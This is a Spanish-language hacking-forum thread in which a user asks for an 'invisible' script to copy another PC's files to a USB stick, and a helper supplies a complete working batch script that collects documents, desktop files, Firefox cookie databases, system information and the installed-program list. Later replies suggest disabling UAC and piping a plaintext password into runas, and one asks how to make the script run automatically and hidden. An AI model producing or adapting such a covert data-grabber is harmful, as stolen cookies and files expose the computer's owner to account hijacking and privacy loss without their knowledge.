hacer script vbs para copiar datos a usb

[daniwxp11]

Hola a tod@s, me gustaria que me ayudasen a crear un script vbs para copiar datos de una carpeta  a mi pendriver quero copiar
Mis Documentos
Mi Musica
Cokies firefox
Registros conversacion msn
Fondo de escritorio
Escritorio
Lista programas instalados
Informacion pc, ram disco duro etc...
ayudadme porfavor, es mi primera vez en programacion y lo necesito rapido......

[Eleкtro]

Hola a tod@s, me gustaria que me ayudasen a crear un script vbs para copiar datos de una carpeta  a mi pendriver quero copiar
ayudadme porfavor, es mi primera vez en programacion y lo necesito rapido......

¿Alguna razón en especial por que lo quieres en VBS?
Si quieres te lo puedo hacer en Batch...

Pero sea como sea, Di en que versión de Windows quieres ejecutar el script (y si es x86 o x64), que aqui no somos magos.

Saludos

[daniwxp11]

lo siento pensaba que valia para todos los sistemas, es para windows7 x86, y de vbs y me da igual vbs o patch, pero que sea invisible

Salu2
Dani

[Eleкtro]

Había escrito un mensaje aqui con un code bastante largo y se ha borrado por arte de magia...
(Problemas del foro?)

Por suerte aún guardaba una copia del script. :/



Bueno Daniwxp11 lo que te dije en mi post borrado:

Se me olvidó preguntarte si el batch es para intenciones maliciosas.. .osea, si lo quieres ejecutar oculto. Y si el pendrive se debe detectar automáticamente o te da igual introducirlo manualmente.

Bueno, si necesitas algún cambio, Avisa.

PD: No tengo el MSN de microsoft instalado así que no puedo hacer esa parte del code porque no conozco las rutas de los registros del Msn y/o MSN Plus, pero puedes intentar hacerlo tú mismo de la misma manera que copio las cookies de firefox.

Saludos

Código [Seleccionar] Expandir

@echo off

Rem By EleKtro H@cker
Rem Visita Foro.ElHacker.Net

Title Proyecto 1
Mode con cols=58 lines=30
Color 7


:Select
:::::

PUSHD "%WINDIR%\System32\"

Echo+
Echo  Unidades disponibles
Echo  ====================
Echo.
For /F "tokens=2-9 Delims=\ " %%a in ('fsutil fsinfo drives') do (
If "%%a" EQU "" (<Nul Set /P= ) ELSE (fsutil fsinfo drivetype %%a)
If "%%b" EQU "" (<Nul Set /P= ) ELSE (fsutil fsinfo drivetype %%b)
If "%%c" EQU "" (<Nul Set /P= ) ELSE (fsutil fsinfo drivetype %%c)
If "%%d" EQU "" (<Nul Set /P= ) ELSE (fsutil fsinfo drivetype %%d)
If "%%e" EQU "" (<Nul Set /P= ) ELSE (fsutil fsinfo drivetype %%e)
If "%%f" EQU "" (<Nul Set /P= ) ELSE (fsutil fsinfo drivetype %%f)
If "%%g" EQU "" (<Nul Set /P= ) ELSE (fsutil fsinfo drivetype %%g)
)

Echo.
Echo  elige la letra de la unidad de destino.    (Ejemplo: C)
Echo.
set /p DEST=^>^>

If Not defined DEST (
CLS
Goto :Select
) ELSE (
Set DEST=%DEST:~0,1%
Set DEST=%DEST%:
)

If not exist "%Dest%" (
Echo+
Echo   "%DEST%"  Unidad no valida...
Ping -n 3 LocalHost >nul
Set Dest=
Cls
Goto :Select)


:Start
::::::

Cls
Echo+
Echo  %ComputerName% (%username%)
Echo.
Echo  Origen:  %Homedrive%
Echo  Destino: %Dest%
Echo.
Echo ==========================================================

Echo  Copiando Mis documentos...
call :Copy %userprofile%\Documents

Echo.
Echo  Copiando Mi m£sica...
call :Copy %userprofile%\Music

Echo.
Echo  Copiando Escritorio...
call :Copy %userprofile%\Desktop

Echo.
Echo  Copiando Fondo de escritorio...
call :Copy %appdata%\Microsoft\Windows\Themes

Echo.
Echo  Copiando Cookies Firefox...
For /F "tokens=*" %%_ in ('Dir /B "%appdata%\Mozilla\Firefox\Profiles"') do (
MKdir "%DEST%\%ComputerName%\%appdata::=%\Mozilla\Firefox\Profiles\%%_\"  >nul 2>&1
Copy /Y "%appdata%\Mozilla\Firefox\Profiles\%%_\Cookies.sq*" "%DEST%\%ComputerName%\%appdata::=%\Mozilla\Firefox\Profiles\%%_\" >nul 2>&1)

Echo.
Echo  Copiando Conversaciones MSN...
Echo  ... Mentira xD

Echo.
Echo  Extrayendo Informacion del PC...
Systeminfo > "%DEST%\%ComputerName%\Info PC.txt"

Echo.
Echo  Extrayendo Programas instalados...
Echo :Programas instalados: > "%DEST%\%ComputerName%\Programas instalados.txt"
Echo ====================== >>"%DEST%\%ComputerName%\Programas instalados.txt"
CALL :Reg HKLM
CALL :Reg HKCU



Goto :Fin



:SubRutinas:
::::::::::::

:Copy
Set "PATH=%*"
Set "PATH=%PATH::=%"
Xcopy /E /Y "%*" "%DEST%\%ComputerName%\%PATH%\" >nul 2>&1
Goto :EOF

:REG
Setlocal EnableDelayedexpansion
For /F "tokens=*" %%_ in ('Reg query "%1\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall"') Do (
Set KeyName=%%_
Set KeyName=!KeyName:~71!

For /F "tokens=* Skip=2 delims=_" %%a in ('Reg query "%1\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\!KeyName!" /V "DisplayName" 2^>nul') Do (
Set Name=%%a
Set Name=!Name:~29!
Echo !NAME!>>"%DEST%\%ComputerName%\Programas instalados.txt"
)
)
Sort "%DEST%\%ComputerName%\Programas instalados.txt" /O "%DEST%\%ComputerName%\Programas instalados.txt"
Setlocal DisableDelayedexpansion
Goto :EOF



:Fin
::::
Echo.
Echo.
Echo.
Echo  Informaci¢n guardada!! :)
Ping -n 5 LocalHost >nul
Exit


 

[danixito]

Hola que tal no se si me puedan apoyar,lo que estoy mas o menos queriendo hacer
es

Maquina 1 tiene una usuario A,pero el usuario A se va a otra maquina 2,y desde esa maquina 2 quiere copiar toda la informacion que habia en maquina 1,son usuarios en red registrados en un directorio activo,lo que busco es hacer un batch para poder hacer el copy ,sin necesidad de que me pida credencialesal ingresar a la maquina 1
o en todo caso como podria hacer ellos para incluir dicha opcion ,espero su apoyo

Graciass

[Eleкtro]

Desactiva el UAC en la máquina 1 y 2. Fin del asunto (Supongo), Sin complicaciones.

Si no puedes porque no eres el dueño, o algo, Prueba esto:

Código [Seleccionar] Expandir

Echo PASSWORD_DE_LA_CUENTA_DE_MAQUINA_1 | Runas /profile /user:NOMBRE_DEL_PC_MAQUINA_1\NOMBRE_DE_LA_CUENTA_MAQUINA_1 "comandos .........etc"

EJEMPLO:

Código (dos) [Seleccionar] Expandir

Echo Hacker | Runas /Profile /User:Elektro STuDioS-PC\Elektro CMD /K Copy "C\archivo" "D:\"

[KMakoto]

Hola, como seria para que este script sea automatico y de modo oculto ¿?